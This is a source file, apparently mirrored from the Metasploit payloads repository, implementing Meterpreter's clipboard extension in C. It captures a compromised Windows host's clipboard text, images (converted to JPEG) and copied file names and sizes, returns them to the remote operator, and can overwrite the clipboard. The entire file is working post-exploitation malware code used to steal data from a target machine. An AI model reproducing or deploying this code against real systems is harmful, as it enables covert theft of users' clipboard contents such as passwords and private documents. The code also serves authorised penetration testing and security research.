mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-12 04:12:05 +02:00

This fixes the issue where the calculation for the offset of the image data was incorrect. Instead of just looking at the first byte past the end of the BITMAPINFOHEADER we now correctly calculate the offset past the color palette and begin reading the image there. This stops the problems where sometimes the image looked like it had been shifted, or other cases where the image colors went retro.
446 lines
16 KiB
C
446 lines
16 KiB
C
/*!
|
|
* @file clipboard.h
|
|
* @brief Definitions for clipboard interaction functionality.
|
|
*/
|
|
#include "extapi.h"
|
|
#include "clipboard.h"
|
|
#include "clipboard_image.h"
|
|
|
|
#ifdef _WIN32
|
|
/*! @brief GlobalAlloc function pointer type. */
|
|
typedef HGLOBAL(WINAPI * PGLOBALALLOC)(UINT uFlags, SIZE_T dwBytes);
|
|
|
|
/*! @brief GlobalFree function pointer type. */
|
|
typedef HGLOBAL(WINAPI * PGLOBALFREE)(HGLOBAL hMem);
|
|
|
|
/*! @brief GlobalLock function pointer type. */
|
|
typedef LPVOID(WINAPI * PGLOBALLOCK)(HGLOBAL hMem);
|
|
|
|
/*! @brief GlobalUnlock function pointer type. */
|
|
typedef LPVOID(WINAPI * PGLOBALUNLOCK)(HGLOBAL hMem);
|
|
|
|
/*! @brief OpenClipboard function pointer type. */
|
|
typedef BOOL(WINAPI * POPENCLIPBOARD)(HWND hWndNewOwner);
|
|
|
|
/*! @brief CloseClipboard function pointer type. */
|
|
typedef BOOL(WINAPI * PCLOSECLIPBOARD)();
|
|
|
|
/*! @brief SetClipboardData function pointer type. */
|
|
typedef HANDLE(WINAPI * PSETCLIPBOARDDATA)(UINT uFormat, HANDLE hMem);
|
|
|
|
/*! @brief SetClipboardData function pointer type. */
|
|
typedef HANDLE(WINAPI * PGETCLIPBOARDDATA)(UINT uFormat);
|
|
|
|
/*! @brief EnumClipboardFormats function pointer type. */
|
|
typedef UINT(WINAPI * PENUMCLIPBOARDFORMATS)(UINT uFormat);
|
|
|
|
/*! @brief EmptyClipboard function pointer type. */
|
|
typedef BOOL(WINAPI * PEMPTYCLIPBOARD)();
|
|
|
|
/*! @brief DragQueryFileA function pointer type. */
|
|
typedef BOOL(WINAPI * PDRAGQUERYFILEA)(HDROP hDrop, UINT iFile, LPSTR lpszFile, UINT cch);
|
|
|
|
/*! @brief CreateFileA function pointer type. */
|
|
typedef HANDLE(WINAPI * PCREATEFILEA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
|
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
|
|
|
/*! @brief CloseHandle function pointer type. */
|
|
typedef BOOL(WINAPI * PCLOSEHANDLE)(HANDLE hObject);
|
|
|
|
/*! @brief GetFileSizeEx function pointer type. */
|
|
typedef BOOL(WINAPI * PGETFILESIZEEX)(HANDLE hFile, PLARGE_INTEGER lpFileSize);
|
|
|
|
#endif
|
|
|
|
/*!
|
|
* @brief Handle the request to get the data from the clipboard.
|
|
* @details This function currently only supports the following clipboard data formats:
|
|
* - CF_TEXT - raw text data.
|
|
* - CF_DIB - bitmap/image information.
|
|
* - CF_HDROP - file selection.
|
|
*
|
|
* Over time more formats will be supported.
|
|
* @param remote Pointer to the remote endpoint.
|
|
* @param packet Pointer to the request packet.
|
|
* @return Indication of success or failure.
|
|
* @todo Add support for more data formats.
|
|
*/
|
|
DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
|
{
|
|
#ifdef _WIN32
|
|
DWORD dwResult;
|
|
HMODULE hKernel32 = NULL;
|
|
HMODULE hUser32 = NULL;
|
|
HMODULE hShell32 = NULL;
|
|
|
|
PGLOBALLOCK pGlobalLock = NULL;
|
|
PGLOBALUNLOCK pGlobalUnlock = NULL;
|
|
|
|
POPENCLIPBOARD pOpenClipboard = NULL;
|
|
PCLOSECLIPBOARD pCloseClipboard = NULL;
|
|
PGETCLIPBOARDDATA pGetClipboardData = NULL;
|
|
PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL;
|
|
PDRAGQUERYFILEA pDragQueryFileA = NULL;
|
|
PCREATEFILEA pCreateFileA = NULL;
|
|
PCLOSEHANDLE pCloseHandle = NULL;
|
|
PGETFILESIZEEX pGetFileSizeEx = NULL;
|
|
|
|
HANDLE hSourceFile = NULL;
|
|
PCHAR lpClipString = NULL;
|
|
HGLOBAL hClipboardData = NULL;
|
|
HDROP hFileDrop = NULL;
|
|
UINT uFormat = 0;
|
|
UINT uFileIndex = 0;
|
|
UINT uFileCount = 0;
|
|
CHAR lpFileName[MAX_PATH];
|
|
Tlv entries[2] = { 0 };
|
|
LARGE_INTEGER largeInt = { 0 };
|
|
LPBITMAPINFO lpBI = NULL;
|
|
PUCHAR lpDIB = NULL;
|
|
ConvertedImage image;
|
|
BOOL bImageDownload = FALSE;
|
|
DWORD dwWidth;
|
|
DWORD dwHeight;
|
|
Tlv imageTlv[3];
|
|
|
|
Packet *pResponse = packet_create_response(packet);
|
|
|
|
do
|
|
{
|
|
dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
|
|
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
|
|
if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
|
|
if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
|
|
if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
|
|
if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
|
|
if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
|
|
if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
|
|
if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");
|
|
|
|
// Try to get a lock on the clipboard
|
|
if (!pOpenClipboard(NULL)) {
|
|
dwResult = GetLastError();
|
|
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
|
|
}
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data...");
|
|
|
|
while (uFormat = pEnumClipboardFormats(uFormat))
|
|
{
|
|
if (uFormat == CF_TEXT) {
|
|
// there's raw text on the clipboard
|
|
if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
|
|
&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) {
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
|
|
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString);
|
|
|
|
pGlobalUnlock(hClipboardData);
|
|
}
|
|
}
|
|
else if (uFormat == CF_DIB) {
|
|
dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
|
|
// an image of some kind is on the clipboard
|
|
if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
|
|
&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) {
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");
|
|
|
|
// grab the bitmap image size
|
|
dwWidth = htonl(lpBI->bmiHeader.biWidth);
|
|
dwHeight = htonl(lpBI->bmiHeader.biHeight);
|
|
|
|
imageTlv[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX;
|
|
imageTlv[0].header.length = sizeof(UINT);
|
|
imageTlv[0].buffer = (PUCHAR)&dwWidth;
|
|
imageTlv[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY;
|
|
imageTlv[1].header.length = sizeof(UINT);
|
|
imageTlv[1].buffer = (PUCHAR)&dwHeight;
|
|
|
|
// only download the image if they want it
|
|
bImageDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
|
|
dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
|
|
bImageDownload ? "WILL" : "will NOT");
|
|
|
|
if (!bImageDownload) {
|
|
packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2);
|
|
}
|
|
else {
|
|
lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);
|
|
|
|
// TODO: add the ability to encode with multiple encoders and return the smallest image.
|
|
if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) {
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
|
|
imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
|
|
imageTlv[2].header.length = image.dwImageBufferSize;
|
|
imageTlv[2].buffer = (PUCHAR)image.pImageBuffer;
|
|
|
|
packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 3);
|
|
|
|
// Just leaving this in for debugging purposes later on
|
|
//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
//WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL);
|
|
//CloseHandle(hSourceFile);
|
|
|
|
free(image.pImageBuffer);
|
|
}
|
|
else {
|
|
dwResult = GetLastError();
|
|
dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
|
|
}
|
|
}
|
|
|
|
pGlobalUnlock(hClipboardData);
|
|
}
|
|
else {
|
|
dwResult = GetLastError();
|
|
dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
|
|
}
|
|
}
|
|
else if (uFormat == CF_HDROP) {
|
|
// there's one or more files on the clipboard
|
|
dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard");
|
|
do
|
|
{
|
|
dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll");
|
|
if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
|
|
if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
|
|
if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
|
|
if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
|
|
if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
|
|
if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
|
|
&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) {
|
|
|
|
uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);
|
|
|
|
for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) {
|
|
if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) {
|
|
dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);
|
|
|
|
memset(&entries, 0, sizeof(entries));
|
|
memset(&largeInt, 0, sizeof(largeInt));
|
|
|
|
entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME;
|
|
entries[0].header.length = (DWORD)strlen(lpFileName) + 1;
|
|
entries[0].buffer = (PUCHAR)lpFileName;
|
|
|
|
entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE;
|
|
entries[1].header.length = sizeof(QWORD);
|
|
entries[1].buffer = (PUCHAR)&largeInt.QuadPart;
|
|
|
|
if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) {
|
|
if (pGetFileSizeEx(hSourceFile, &largeInt)) {
|
|
largeInt.QuadPart = htonq(largeInt.QuadPart);
|
|
}
|
|
|
|
pCloseHandle(hSourceFile);
|
|
}
|
|
|
|
packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2);
|
|
}
|
|
}
|
|
|
|
pGlobalUnlock(hClipboardData);
|
|
}
|
|
|
|
} while (0);
|
|
}
|
|
}
|
|
|
|
dwResult = GetLastError();
|
|
|
|
pCloseClipboard();
|
|
|
|
} while (0);
|
|
|
|
if (hShell32)
|
|
FreeLibrary(hShell32);
|
|
|
|
if (hKernel32)
|
|
FreeLibrary(hKernel32);
|
|
|
|
if (hUser32)
|
|
FreeLibrary(hUser32);
|
|
|
|
if (pResponse)
|
|
packet_transmit_response(dwResult, remote, pResponse);
|
|
|
|
return dwResult;
|
|
#else
|
|
return ERROR_NOT_SUPPORTED;
|
|
#endif
|
|
}
|
|
|
|
/*!
|
|
* @brief Handle the request to set the data that's on the clipboard.
|
|
* @details This function currently only supports the following clipboard data formats:
|
|
* - CF_TEXT - raw text data.
|
|
*
|
|
* Over time more formats will be supported.
|
|
* @param remote Pointer to the remote endpoint.
|
|
* @param packet Pointer to the request packet.
|
|
* @return Indication of success or failure.
|
|
* @todo Add support for more data formats.
|
|
*/
|
|
DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
|
{
|
|
#ifdef _WIN32
|
|
DWORD dwResult;
|
|
HMODULE hKernel32 = NULL;
|
|
HMODULE hUser32 = NULL;
|
|
|
|
PGLOBALALLOC pGlobalAlloc = NULL;
|
|
PGLOBALFREE pGlobalFree = NULL;
|
|
PGLOBALLOCK pGlobalLock = NULL;
|
|
PGLOBALUNLOCK pGlobalUnlock = NULL;
|
|
|
|
POPENCLIPBOARD pOpenClipboard = NULL;
|
|
PCLOSECLIPBOARD pCloseClipboard = NULL;
|
|
PSETCLIPBOARDDATA pSetClipboardData = NULL;
|
|
PEMPTYCLIPBOARD pEmptyClipboard = NULL;
|
|
|
|
PCHAR lpClipString;
|
|
HGLOBAL hClipboardData;
|
|
PCHAR lpLockedData;
|
|
SIZE_T cbStringBytes;
|
|
|
|
do
|
|
{
|
|
if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL)
|
|
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
|
|
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
|
|
if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc");
|
|
if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
|
|
if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
|
|
if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
|
|
if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
|
|
if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard");
|
|
if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll");
|
|
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData");
|
|
if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL)
|
|
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll");
|
|
|
|
cbStringBytes = (SIZE_T)strlen(lpClipString) + 1;
|
|
|
|
// do the "use the right kind of memory once locked" clip board data dance.
|
|
// Note that we don't free up the memory we've allocated with GlobalAlloc
|
|
// because the windows clipboard magic does it for us.
|
|
if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL) {
|
|
dwResult = GetLastError();
|
|
pCloseClipboard();
|
|
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Failed to allocate clipboard memory", dwResult);
|
|
}
|
|
|
|
lpLockedData = (PCHAR)pGlobalLock(hClipboardData);
|
|
|
|
memcpy_s(lpLockedData, cbStringBytes, lpClipString, cbStringBytes);
|
|
|
|
pGlobalUnlock(hClipboardData);
|
|
|
|
// Try to get a lock on the clipboard
|
|
if (!pOpenClipboard(NULL)) {
|
|
dwResult = GetLastError();
|
|
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
|
|
}
|
|
|
|
// Clear the clipboard data
|
|
pEmptyClipboard();
|
|
|
|
if (!pSetClipboardData(CF_TEXT, hClipboardData)) {
|
|
dwResult = GetLastError();
|
|
dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult);
|
|
}
|
|
else {
|
|
dwResult = ERROR_SUCCESS;
|
|
}
|
|
|
|
pCloseClipboard();
|
|
|
|
} while (0);
|
|
|
|
// If something went wrong and we have clipboard data, then we need to
|
|
// free it up because the clipboard can't do it for us.
|
|
if (dwResult != ERROR_SUCCESS && hClipboardData != NULL) {
|
|
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree");
|
|
if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL)
|
|
pGlobalFree(hClipboardData);
|
|
}
|
|
|
|
if (hKernel32)
|
|
FreeLibrary(hKernel32);
|
|
|
|
if (hUser32)
|
|
FreeLibrary(hUser32);
|
|
|
|
packet_transmit_empty_response(remote, packet, dwResult);
|
|
|
|
return dwResult;
|
|
#else
|
|
return ERROR_NOT_SUPPORTED;
|
|
#endif
|
|
} |